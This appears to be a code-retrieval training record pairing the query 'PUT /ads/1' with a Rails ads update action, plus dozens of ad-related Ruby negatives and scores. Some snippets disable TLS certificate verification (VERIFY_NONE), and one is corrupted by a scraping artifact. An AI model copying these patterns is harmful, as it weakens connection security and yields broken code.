json: @ad_post.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @advert = Advert.new(advert_params)\n\n respond_to do |format|\n if @advert.save\n format.html { redirect_to [:admin, @advert], notice: 'Advert was successfully created.' }\n format.json { render action: 'show', status: :created, location: @advert }\n else\n format.html { render action: 'new' }\n format.json { render json: @advert.errors, status: :unprocessable_entity }\n end\n end\n end", "def postEntityAdvertiserCreate( entity_id, tags, locations, max_tags, max_locations, expiry_date, is_national, language, reseller_ref, reseller_agent_id, publisher_id)\n params = Hash.new\n params['entity_id'] = entity_id\n params['tags'] = tags\n params['locations'] = locations\n params['max_tags'] = max_tags\n params['max_locations'] = max_locations\n params['expiry_date'] = expiry_date\n params['is_national'] = is_national\n params['language'] = language\n params['reseller_ref'] = reseller_ref\n params['reseller_agent_id'] = reseller_agent_id\n params['publisher_id'] = publisher_id\n return doCurl(\"post\",\"/entity/advertiser/create\",params)\n end", "def create\n @ad = Ad.new(ad_params)\n\n if @ad.save\n redirect_to @ad\n else\n render 'new'\n end\n end", "def destroy\n @ad.destroy\n\n respond_to do |format|\n format.html { redirect_to(ads_url) }\n format.xml { head :ok }\n end\n end", "def post_xml(url, ls_data)\n uri = URI.parse(url)\n request = Net::HTTP::Post.new(uri.request_uri, HEADER_XML)\n request.body = ls_data\n request.basic_auth(@nsx_user, @nsx_password)\n response = Net::HTTP.start(uri.host, uri.port, :use_ssl => true,\n :verify_mode => OpenSSL::SSL::VERIFY_NONE) do |https|\n https.request(request)\n end\n return response.body if check_response(response, 201)\n end", "def new\n @ad = Ad.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @ad }\n end\n end", "def new\n @ad = Ad.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @ad }\n end\n end", "def new\n @ad = Ad.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @ad }\n end\n end", "def create\n @adjunto = Adjunto.new(params[:adjunto])\n\n respond_to do |format|\n if @adjunto.save\n format.html { redirect_to(@adjunto, :notice => 'Adjunto was successfully created.') }\n format.xml { render :xml => @adjunto, :status => :created, :location => @adjunto }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @adjunto.errors, :status => :unprocessable_entity }\n end\n end\n end", "def ad_params\n params.require(:ad).permit :banner_id, :campaign_id, :display_count, :start_date, :end_date, :file, :remote_file, :link\n end", "def ad_params\n params.require(:ad).permit(:title, :description, :brand, :price, :state, :visit_count, :region, :city, :cellphone, :phone, :adress, :status, :cover)\n end", "def create\n # @advertisement = Advertisement.new(params[:advertisement])\n respond_to do |format|\n if @advertisement.save\n format.html { redirect_to @advertisement, notice: 'Advertisement was successfully created.' }\n format.json { render json: @advertisement, status: :created, location: @advertisement }\n else\n format.html { render action: \"new\", notice: 'Advertisement was NOT successfully created.' }\n format.json { render json: @advertisement.errors, status: :unprocessable_entity }\n end\n end\n end", "def sfa_advertisement_xml(resources, opts = {})\n doc = Nokogiri::XML::Document.new\n #<rspec expires=\"2011-09-13T09:07:09Z\" generated=\"2011-09-13T09:07:09Z\" type=\"advertisement\" xmlns=\"http://www.protogeni.net/resources/rspec/2\" xmlns:emulab=\"http://www.protogeni.net/resources/rspec/ext/emulab/1\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://www.protogeni.net/resources/rspec/2 http://www.protogeni.net/resources/rspec/2/ad.xsd http://www.protogeni.net/resources/rspec/ext/emulab/1 http://www.protogeni.net/resources/rspec/ext/emulab/1/ptop_extension.xsd http://company.com/rspec/ext/stitch/1 http://company.com/rspec/ext/stitch/1/ad.xsd \"> \n root = doc.add_child(Nokogiri::XML::Element.new('rspec', doc))\n root.add_namespace(nil, \"http://www.protogeni.net/resources/rspec/2\")\n @@sfa_namespaces.each do |prefix, urn|\n root.add_namespace(prefix.to_s, urn)\n end\n\n root.set_attribute('type', \"advertisement\")\n now = Time.now\n root.set_attribute('generated', now.iso8601)\n root.set_attribute('expires', (now + (opts[:valid_for] || 600)).iso8601)\n\n #root = doc.create_element('rspec', doc)\n #doc.add_child root\n obj2id = {}\n _to_sfa_xml(resources, root, obj2id, opts) \n end", "def create\n @home_indices_ad = Home::Indices::Ad.new(params[:home_indices_ad])\n\n respond_to do |format|\n if @home_indices_ad.save\n format.html { redirect_to @home_indices_ad, notice: 'Ad was successfully created.' }\n format.json { render json: @home_indices_ad, status: :created, location: @home_indices_ad }\n else\n format.html { render action: \"new\" }\n format.json { render json: @home_indices_ad.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @advertise = Advertise.new(advertise_params)\n\n respond_to do |format|\n if @advertise.save\n format.html { redirect_to @advertise, notice: \"Advertise was successfully created.\" }\n format.json { render :show, status: :created, location: @advertise }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @advertise.errors, status: :unprocessable_entity }\n end\n end\n end", "def post(body)\n http = Net::HTTP.new(uri.host, uri.port)\n http.use_ssl = true if uri.scheme == 'https'\n\n request = Net::HTTP::Post.new(uri)\n request['Content-Type'] = 'text/xml'\n request['Accept-Language'] = locale if locale\n request.body = body\n\n response = http.request(request)\n\n Response.new(response, uri)\n end", "def set_ad\n @ad = @org.ads.find(params[:id])\n end", "def create\n @advertisment = Advertisment.new(params[:advertisment])\n\n respond_to do |format|\n if @advertisment.save\n format.html { redirect_to @advertisment, notice: 'Advertisment was successfully created.' }\n format.json { render json: @advertisment, status: :created, location: @advertisment }\n else\n format.html { render action: \"new\" }\n format.json { render json: @advertisment.errors, status: :unprocessable_entity }\n end\n end\n end", "def post_query( xml )\n url = URI.parse( self.url )\n response = self.http.post_form( url, { \"query\" => xml } )\n return response.body\n end", "def create\n @advertise = Advertise.new(advertise_params)\n\n respond_to do |format|\n if @advertise.save\n format.html { redirect_to @advertise, notice: 'Advertise was successfully created.' }\n format.json { render :show, status: :created, location: @advertise }\n else\n format.html { render :new }\n format.json { render json: @advertise.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @advert1 = Advert1.new(advert1_params)\n\n respond_to do |format|\n if @advert1.save\n format.html { redirect_to @advert1, notice: 'Advert1 was successfully created.' }\n format.json { render :show, status: :created, location: @advert1 }\n else\n format.html { render :new }\n format.json { render json: @advert1.errors, status: :unprocessable_entity }\n end\n end\n end", "def index\n @ads = Ad.find_all_by_account_id(session[:account_id])\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @ads }\n end\n end", "def create\n @advertisement = Advertisement.new(advertisement_params)\n if @advertisement.save\n redirect_to advertisements_path\n else\n render :new\n end\n end", "def advert_params\n params.require(:advert).permit(:title, :description)\n end", "def postEntityAdvertiserTag( gen_id, entity_id, language, tags_to_add, tags_to_remove)\n params = Hash.new\n params['gen_id'] = gen_id\n params['entity_id'] = entity_id\n params['language'] = language\n params['tags_to_add'] = tags_to_add\n params['tags_to_remove'] = tags_to_remove\n return doCurl(\"post\",\"/entity/advertiser/tag\",params)\n end", "def ad_params\n params.require(:ad).permit(:text, :background, :clicks, :icon)\n end", "def create\n @ad = Ad.new(params[:ad])\n @ad.user_id=current_user.id\n\n respond_to do |format|\n if @ad.save\n format.html { redirect_to @ad, notice: 'Ad was successfully created.' }\n format.json { render json: @ad, status: :created, location: @ad }\n else\n format.html { render action: \"new\" }\n format.json { render json: @ad.errors, status: :unprocessable_entity }\n end\n end\n end", "def create_ad_params\n params.require(:advertisement).permit(:title, :description, :width, :height, :ad)\n end", "def create_crm_account_from_lead\n doc = Hpricot::XML(request.raw_post)\n doc = doc.to_s.gsub(\"&amp;\",\"&\") \n doc = Hpricot::XML(doc) \n id = parse_xml(doc/:params/'id')\n account_doc = Crm::CrmLeadCrud.generate_xml_for_account(doc) \n @accounts=Crm::CrmLeadCrud.create_account_from_lead(account_doc,id)\n account = @accounts.first if [email protected]?\n if account.errors.empty?\n render:text=>'success'\n else\n respond_to_errors(account.errors)\n end\n end", "def post_config(url_prefix, xml)\n post_data(url_prefix, xml, 'application/xml;charset=UTF-8')\n end", "def send_post(data_xml,url)\r\n result = @client.post(self.target_uri(url), :body => data_xml , :head => {'Content-Type' => 'application/xml'} ) \r\n raise \"Invalid status #{result.http_status} from server #{@host}:#{@port}\" if(result.http_status != '200') \r\n #reply = Reply.from_xml(result.http_body)\r\n if block_given?\r\n yield(result.http_body)\r\n else\r\n result.http_body\r\n end\r\n end", "def create\n @ad_banner = AdBanner.new(ad_banner_params)\n\n respond_to do |format|\n if @ad_banner.save\n format.html { redirect_to @ad_banner, notice: 'Ad banner was successfully created.' }\n format.json { render action: 'show', status: :created, location: @ad_banner }\n else\n format.html { render action: 'new' }\n format.json { render json: @ad_banner.errors, status: :unprocessable_entity }\n end\n end\n end", "def post(attrs = nil)\n attrs ||= attributes\n execute_request do\n faraday_connection.post { |req| req.body = adapter.serialize(attrs) }\n end\n end", "def advertisement_params\n params.require(:advertisement).permit(:title, :category, :dollar_value, :expiry_date, :merchant_id)\n end", "def ad_params\n params.require(:ad).permit(:title, :description, :c_type, :sub_category)\n end", "def post_xml_64(xml=:example_response)\n post \"/auth/saml/callback\", {'SAMLResponse' => load_xml_64(xml)}\nend", "def create\n @ad_url = AdUrl.new(ad_url_params)\n\n respond_to do |format|\n if @ad_url.save\n format.html { redirect_to @ad_url, notice: 'Ad url was successfully created.' }\n format.json { render :show, status: :created, location: @ad_url }\n else\n format.html { render :new }\n format.json { render json: @ad_url.errors, status: :unprocessable_entity }\n end\n end\n end", "def process(xml)\n timeout(TIMEOUT) do\n url = URI.parse(webservices_url)\n http = Net::HTTP.new(url.host, url.port)\n http.use_ssl = true\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE\n http.start {\n request = Net::HTTP::Post.new(url.to_s)\n request.body = xml\n response = http.request(request)\n response.body\n }\n end\n end", "def ad_params\n params.require(:ad).permit(:title, :price, :tag_id)\n end", "def index\n @ads = Ad.all \n end", "def advert_params\n params.require(:advert).permit(:title, :description, :image, :tag_list)\n end", "def index\n @ads = Ad.all\n end", "def index\n @ads = Ad.all\n end", "def index\n @ads = Ad.all\n end", "def index\n @ads = Ad.all\n end", "def index\n @ads = Ad.all\n end", "def create\n @advetiser = Advetiser.new(advetiser_params)\n\n respond_to do |format|\n if @advetiser.save\n format.html { redirect_to @advetiser, notice: 'Advetiser was successfully created.' }\n format.json { render :show, status: :created, location: @advetiser }\n else\n format.html { render :new }\n format.json { render json: @advetiser.errors, status: :unprocessable_entity }\n end\n end\n end", "def send_xml(out_xml)\n uri = URI.parse(@url)\n http = Net::HTTP.new(uri.host, uri.port)\n request = Net::HTTP::Post.new(uri.request_uri)\n\n @logger.error \"#$%$ #{@user}\"\n request.basic_auth @user, @password\n request.body = out_xml\n\n log(\"Sending request: #{request.inspect}\")\n response = http.request(request)\n\n log(\"Response: #{response}\")\n return response.body\n end", "def create\n @advert = Advert.new(advert_params)\n @advert.user_id = current_user.id\n\n respond_to do |format|\n if @advert.save\n format.html { redirect_to @advert, notice: 'Advert was successfully created.' }\n format.json { render :show, status: :created, location: @advert }\n else\n format.html { render :new }\n format.json { render json: @advert.errors, status: :unprocessable_entity }\n end\n end\n end", "def ad_params\n params.require(:ad).permit(:title, :description, :price, :price_currency, :delivery, :slug)\n end", "def do_submission(path, xml = nil)\n if xml.nil?\n form = create(:form, question_types: %w(integer integer))\n form.publish!\n xml = build_odk_submission(form)\n end\n\n # write xml to file\n require 'fileutils'\n FileUtils.mkpath('test/fixtures')\n fixture_file = Rails.root.join('test/fixtures/', ODK_XML_FILE)\n File.open(fixture_file.to_s, 'w') { |f| f.write(xml) }\n\n # Upload and do request.\n uploaded = fixture_file_upload(fixture_file, 'text/xml')\n post(path, {:xml_submission_file => uploaded, :format => 'xml'}, 'HTTP_AUTHORIZATION' => encode_credentials(@user.login, 'password'))\n assigns(:response)\n end", "def create\n @ad_boards_campaign = AdBoardsCampaign.new(params[:ad_boards_campaign])\n\n respond_to do |format|\n if @ad_boards_campaign.save\n flash[:notice] = 'AdBoardsCampaign was successfully created.'\n format.html { redirect_to(@ad_boards_campaign) }\n format.xml { render :xml => @ad_boards_campaign, :status => :created, :location => @ad_boards_campaign }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @ad_boards_campaign.errors, :status => :unprocessable_entity }\n end\n end\n end", "def index\n @ads = @org.ads\n end", "def update opts = {}\n opts[:headers] ||= {}\n opts[:headers]['Content-Type'] ||= 'text/xml'\n post 'update', opts\n end", "def create\n @ad = current_user.ads.build(ad_params)\n @ad.delivery_currency = ad_params[\"price_currency\"]\n\n respond_to do |format|\n if @ad.save\n format.html { redirect_to @ad, notice: \"Ad was successfully created.\" }\n format.json { render :show, status: :created, location: @ad }\n else\n format.html { render :new }\n format.json { render json: @ad.errors, status: :unprocessable_entity }\n end\n end\n end", "def post(url, post_vars={})\n send_request url, post_vars, 'POST'\n end", "def postEntityAdvertiserUpsell( entity_id, tags, locations, extra_tags, extra_locations, is_national, language, reseller_ref, reseller_agent_id, publisher_id)\n params = Hash.new\n params['entity_id'] = entity_id\n params['tags'] = tags\n params['locations'] = locations\n params['extra_tags'] = extra_tags\n params['extra_locations'] = extra_locations\n params['is_national'] = is_national\n params['language'] = language\n params['reseller_ref'] = reseller_ref\n params['reseller_agent_id'] = reseller_agent_id\n params['publisher_id'] = publisher_id\n return doCurl(\"post\",\"/entity/advertiser/upsell\",params)\n end", "def create\n\n @advertiser = Advertiser.new(advertiser_params)\n @advertiser.create_address(address_params)\n @advertiser.user = current_user\n\n respond_to do |format|\n if @advertiser.save\n format.html { redirect_to @advertiser, notice: 'Advertiser was successfully created.' }\n format.json { render json: @advertiser.to_json }\n else\n format.html { render :new }\n format.json { render json: @advertiser.errors, status: :unprocessable_entity }\n end\n end\n end", "def destroy\n @ad = Ad.find(params[:id])\n @ad.destroy\n\n respond_to do |format|\n format.html { redirect_to(ads_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @ad = Ad.find(params[:id])\n @ad.destroy\n\n respond_to do |format|\n format.html { redirect_to(ads_url) }\n format.xml { head :ok }\n end\n end", "def show\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @ad }\n end\n end", "def create\n @manage_advertisement = ManageAdvertisement.new(manage_advertisement_params)\n\n respond_to do |format|\n if @manage_advertisement.save\n format.html { redirect_to @manage_advertisement, notice: 'Manage advertisement was successfully created.' }\n format.json { render action: 'show', status: :created, location: @manage_advertisement }\n else\n format.html { render action: 'new' }\n format.json { render json: @manage_advertisement.errors, status: :unprocessable_entity }\n end\n end\n end", "def show\n @ad = Ad.find(params[:id])\n\n respond_to do |format|\n format.html # show.rhtml\n format.xml { render :xml => @ad.to_xml }\n end\n end", "def advertisement_params\n params.require(:advertisement).permit(:event_id, :advertisement_name, :advertisement_date, :advertisement_time, :contact_email, :location, :contact_person, :description, :remove_advertisement_date, :display_main_page, :advertisement_start_time, :use_form_button, :which_form, :download_link, :share_download, :use_contact, :recurring_day, :recurring_on, :advertisement, :internal_link_url, :internal_link, :no_expiry, :template_selected, :full_advertisement, :advertisement_type, :force_on_main_page, :enable_disable_ad, :scheduled_when, :schedule, :next_occurence, :options, :slug, :create_own_page)\n end", "def create\n @advertisement = Advertisement.new(advertisement_params)\n\n respond_to do |format|\n if @advertisement.save\n format.html { redirect_to events_pictures_step_1_path(:advertisement_id => @advertisement.id), notice: 'Advertisement was successfully created.' }\n format.json { render :show, status: :created, location: @advertisement }\n else\n format.html { render :new }\n format.json { render json: @advertisement.errors, status: :unprocessable_entity }\n end\n end\n end" ]
[ "0.655109", "0.6437091", "0.6333174", "0.6268408", "0.62113065", "0.61846685", "0.61482894", "0.613438", "0.60580367", "0.60243183", "0.60080224", "0.59799504", "0.5971434", "0.58916676", "0.58676434", "0.5862601", "0.58564824", "0.582978", "0.57936877", "0.57864076", "0.5749265", "0.5739866", "0.57327485", "0.57190686", "0.56743264", "0.5664978", "0.56585336", "0.5628199", "0.56263554", "0.5600251", "0.5586829", "0.55776125", "0.5572922", "0.5565798", "0.55497855", "0.55249935", "0.55193245", "0.55160683", "0.55091584", "0.5506294", "0.5500321", "0.5500321", "0.5500321", "0.54839325", "0.54824543", "0.5475495", "0.54595834", "0.54501444", "0.5448087", "0.5445502", "0.5445249", "0.5437423", "0.5433082", "0.54326046", "0.5422715", "0.542266", "0.54115254", "0.53951174", "0.5381524", "0.5372491", "0.5367014", "0.53658617", "0.5358368", "0.5356168", "0.53533345", "0.5352522", "0.5350523", "0.53432894", "0.5338988", "0.5333417", "0.5330302", "0.53208613", "0.53079975", "0.5306971", "0.52864033", "0.52857375", "0.52834713", "0.52834713", "0.52834713", "0.52834713", "0.52834713", "0.5279799", "0.52796495", "0.52752846", "0.52742255", "0.5274219", "0.5271384", "0.5271241", "0.52695465", "0.5266415", "0.5266097", "0.5263092", "0.5251676", "0.52456754", "0.52456754", "0.52438724", "0.5240003", "0.52371395", "0.52364343", "0.5230669" ]
0.6978248
0
PUT /ads/1 PUT /ads/1.xml
def update @ad = Ad.find(params[:id]) respond_to do |format| if @ad.update_attributes(params[:ad]) format.html { redirect_to(@ad, :notice => 'Ad was successfully updated.') } format.xml { head :ok } else format.html { render :action => "edit" } format.xml { render :xml => @ad.errors, :status => :unprocessable_entity } end end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def update opts = {}\n opts[:headers] ||= {}\n opts[:headers]['Content-Type'] ||= 'text/xml'\n post 'update', opts\n end", "def put(uri, xml)\r\n req = Net::HTTP::Put.new(uri)\r\n req[\"content-type\"] = \"application/xml\"\r\n req.body = xml\r\n request(req)\r\n end", "def update\n @advert = Advert.find(params[:id])\n\n respond_to do |format|\n if @advert.update_attributes(params[:advert])\n flash[:notice] = 'Advert was successfully updated.'\n format.html { redirect_to('/adverts') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @advert.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @ad = Ad.find(params[:id])\n\n respond_to do |format|\n if @ad.update_attributes(params[:ad])\n flash[:notice] = 'Ad was successfully updated.'.l\n format.html { redirect_to ad_url(@ad) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @ad.errors.to_xml }\n end\n end\n end", "def update\n @advert = Advert.find(params[:id])\n\n respond_to do |format|\n if @advert.update_attributes(params[:advert])\n format.html { redirect_to(admin_adverts_path, :notice => 'Advert was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @advert.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update(id, name= \"Updated Name\")\n xml_req =\n \"<?xml version='1.0' encoding='UTF-8'?>\n <customer>\n <id type='integer'>#{id}</id>\n <name>#{name}</name>\n </customer>\"\n\n request = Net::HTTP::Put.new(\"#{@url}/#{id}.xml\")\n request.add_field \"Content-Type\", \"application/xml\"\n request.body = xml_req\n\n http = Net::HTTP.new(@uri.host, @uri.port)\n response = http.request(request)\n\n # no response body will be returned\n case response\n when Net::HTTPSuccess\n return \"#{response.code} OK\"\n else\n return \"#{response.code} ERROR\"\n end\n end", "def update\n @advertisement = Advertisement.find(params[:id])\n\n respond_to do |format|\n if @advertisement.update_attributes(params[:advertisement])\n flash[:notice] = 'Advertisement was successfully updated.'\n format.html { redirect_to(@advertisement) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @advertisement.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @advertise = Advertise.find(params[:id]) \n respond_to do |format|\n if @advertise.update_attributes(params[:advertise])\n format.html { redirect_to(@advertise, :notice => 'Advertise was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @advertise.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @home_indices_ad = Home::Indices::Ad.find(params[:id])\n\n respond_to do |format|\n if @home_indices_ad.update_attributes(params[:home_indices_ad])\n format.html { redirect_to @home_indices_ad, notice: 'Ad was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @home_indices_ad.errors, status: :unprocessable_entity }\n end\n end\n end", "def update(id, name=\"Updated Name\", age=\"55\")\r\n xml_req =\r\n \"<?xml version='1.0' encoding='UTF-8'?>\r\n <person>\r\n <id type='integer'>#{id}</id>\r\n <name>#{name}</name>\r\n <age>#{age}</age> \r\n </person>\"\r\n request = Net::HTTP::Put.new(\"#{@url}/#{id}.xml\")\r\n request.add_field \"Content-Type\", \"application/xml\"\r\n request.body = xml_req\r\n http = Net::HTTP.new(@uri.host, @uri.port)\r\n response = http.request(request)\r\n # no response body will be returned\r\n case response\r\n when Net::HTTPSuccess\r\n return \"#{response.code} OK\"\r\n else\r\n return \"#{response.code} ERROR\"\r\n end\r\n end", "def update\n @advert = Advert.find(params[:id])\n\n respond_to do |format|\n if @advert.update_attributes(params[:advert])\n format.html { redirect_to @advert, notice: 'Advert was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @advert.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @ad = Ad.friendly.find(params[:id])\n\n respond_to do |format|\n if @ad.update(ad_params)\n format.html { redirect_to @ad, notice: \"Ad was successfully updated.\" }\n format.json { render :show, status: :ok, location: @ad }\n else\n format.html { render :edit }\n format.json { render json: @ad.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n\n respond_to do |format|\n if @ad.update_attributes(params[:ad])\n flash[:notice] = 'Ad was successfully updated.'\n format.html { redirect_to([current_user,@ad]) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @ad.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @advertiser = Advertiser.find(params[:id])\n\n respond_to do |format|\n if @advertiser.update_attributes(params[:advertiser])\n flash[:notice] = 'Advertiser was successfully updated.'\n format.html { redirect_to advertiser_url(@advertiser) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @advertiser.errors.to_xml }\n end\n end\n end", "def update\n @advert = @advert_class.find(params[:id])\n\n respond_to do |format|\n if @advert.update_attributes(params[:advert])\n format.html { redirect_to @advert, notice: 'Advert was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @advert.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @ad = Ad.find(params[:id])\n\n respond_to do |format|\n if @ad.update_attributes(params[:ad])\n format.html { redirect_to @ad, notice: 'Ad was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @ad.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @ad = Ad.find(params[:id])\n\n respond_to do |format|\n if @ad.update_attributes(params[:ad])\n format.html { redirect_to @ad, notice: 'Ad was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @ad.errors, status: :unprocessable_entity }\n end\n end\n end", "def update_xml\n self.xml= dumpRouteAsXml\n self.save\n end", "def set_ad\n @ad = @org.ads.find(params[:id])\n end", "def update options={}\n client.put(\"/#{id}\", options)\n end", "def update\n respond_to do |format|\n if @advert1.update(advert1_params)\n format.html { redirect_to @advert1, notice: 'Advert1 was successfully updated.' }\n format.json { render :show, status: :ok, location: @advert1 }\n else\n format.html { render :edit }\n format.json { render json: @advert1.errors, status: :unprocessable_entity }\n end\n end\n end", "def put( doc, opts = {} )\n response = http_action :put, doc, opts.merge( :doc => doc )\n doc['_id'], doc['_rev'] = response['id'], response['rev'] if doc.kind_of? Hash\n response\n end", "def put_datastream(pid, dsID, xml)\n uri = URI.parse(@fedora + '/objects/' + pid + '/datastreams/' + dsID ) \n RestClient.put(uri.to_s, xml, :content_type => \"application/xml\")\n rescue => e\n e.response \n end", "def update\n\t\t@ad = Ad.includes({:ad_group => :campaign}, :ad_type).where(\"campaigns.account_id = ?\", @auth_user.account_id).find(params[:id])\n\t\[email protected]_account_id = @auth_user.account_id\n\t\tparams[:ad][:attribute_value_ids] ||= []\n\t\tparams[:ad][:publisher_ids] ||= []\n\n\t\trespond_to do |format|\n\t\t\tif @ad.update_attributes(params[:ad])\n\t\t\t\tupload_media\n\t\t\t\tformat.html { redirect_to(@ad, :notice => 'Ad was successfully updated.') }\n\t\t\t\tformat.xml { head :ok }\n\t\t\telse\n\t\t\t\tformat.html { render :action => \"edit\" }\n\t\t\t\tformat.xml { render :xml => @ad.errors, :status => :unprocessable_entity }\n\t\t\tend\n\t\tend\n\tend", "def update\n respond_to do |format|\n if @advert.update(advert_params)\n format.html { redirect_to @advert, notice: 'Advert was successfully updated.' }\n format.json { render :show, status: :ok, location: @advert }\n else\n format.html { render :edit }\n format.json { render json: @advert.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @advert.update(advert_params)\n format.html { redirect_to @advert, notice: 'Advert was successfully updated.' }\n format.json { render :show, status: :ok, location: @advert }\n else\n format.html { render :edit }\n format.json { render json: @advert.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @advert.update(advert_params)\n format.html { redirect_to @advert, notice: 'Advert was successfully updated.' }\n format.json { render :show, status: :ok, location: @advert }\n else\n format.html { render :edit }\n format.json { render json: @advert.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n if @ad.update(ad_params)\n render :show, status: :ok, location: @ad\n else\n render json: @ad.errors, status: :unprocessable_entity\n end\n end", "def update\n @ad = Ad.find(params[:id])\n\n respond_to do |format|\n if @ad.update_attributes(params[:ad])\n flash[:notice] = 'Ad was successfully updated.'\n # Create PDF\n @ad.generate_PDF\n format.html { redirect_to(@ad) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @ad.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @advertisement = Advertisement.find(params[:id])\n\n respond_to do |format|\n if @advertisement.update_attributes(params[:advertisement])\n format.html { redirect_to @advertisement, notice: 'Advertisement was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @advertisement.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @advert.update(advert_params)\n format.html { redirect_to @advert, notice: 'Объявление успешно обновлено.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @advert.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @ad = current_advertiser.ads.new(params[:ad])\n respond_to do |format|\n if @ad.save\n format.html { redirect_to(@ad, :notice => 'Ad was successfully created.') }\n format.xml { render :xml => @ad, :status => :created, :location => @ad }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @ad.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n # @advertisement = Advertisement.find(params[:id])\n respond_to do |format|\n if @advertisement.update_attributes(params[:advertisement])\n format.html { redirect_to @advertisement, notice: 'Advertisement was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @advertisement.errors, status: :unprocessable_entity }\n end\n end\n end", "def update(url, data)\n RestClient.put url, data, :content_type => :json\nend", "def update\n @ad_tag = AdTag.find(params[:id])\n\n respond_to do |format|\n if @ad_tag.update_attributes(params[:ad_tag])\n format.html { redirect_to @ad_tag, notice: 'Ad tag was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @ad_tag.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @ad = Ad.find(params[:id])\n\n respond_to do |format|\n if @ad.update_attributes(ad_params)\n flash[:notice] = :ad_was_successfully_updated.l\n format.html { redirect_to ad_url(@ad) }\n else\n format.html { render :action => \"edit\" }\n end\n end\n end", "def put(id:, url_variables:, body:)\n ensure_service_document\n end", "def update\n respond_to do |format|\n if @ad.update(ad_params)\n format.html { redirect_to @ad, notice: 'Ad was successfully updated.' }\n format.json { render :show, status: :ok, location: @ad }\n else\n format.html { render :edit }\n format.json { render json: @ad.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @ad.update(ad_params)\n format.html { redirect_to @ad, notice: 'Ad was successfully updated.' }\n format.json { render :show, status: :ok, location: @ad }\n else\n format.html { render :edit }\n format.json { render json: @ad.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @ad.update(ad_params)\n format.html { redirect_to @ad, notice: 'Ad was successfully updated.' }\n format.json { render :show, status: :ok, location: @ad }\n else\n format.html { render :edit }\n format.json { render json: @ad.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @advertiser = Advertiser.find(params[:id])\n\n respond_to do |format|\n if @advertiser.update_attributes(params[:advertiser])\n flash[:success] = 'Create successfully'\n format.html { redirect_to @advertiser }\n else\n format.html { render :action => \"edit\" }\n end\n end\n end", "def test_should_update_link_via_API_XML\r\n get \"/logout\"\r\n put \"/links/1.xml\", :link => {:user_id => 1,\r\n :title => 'API Link 1',\r\n :url => 'http://www.api.com'}\r\n assert_response 401\r\n end", "def update\n @envelope = Envelope.find(params[:id])\n\n respond_to do |format|\n if @envelope.update_attributes(params[:envelope])\n flash[:notice] = 'Envelope was successfully updated.'\n format.html { redirect_to(@envelope) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @envelope.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @advert.update(advert_params)\n format.html { redirect_to [:admin, @advert], notice: 'Advert was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @advert.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @docent = Docent.find(params[:id])\n\n respond_to do |format|\n if 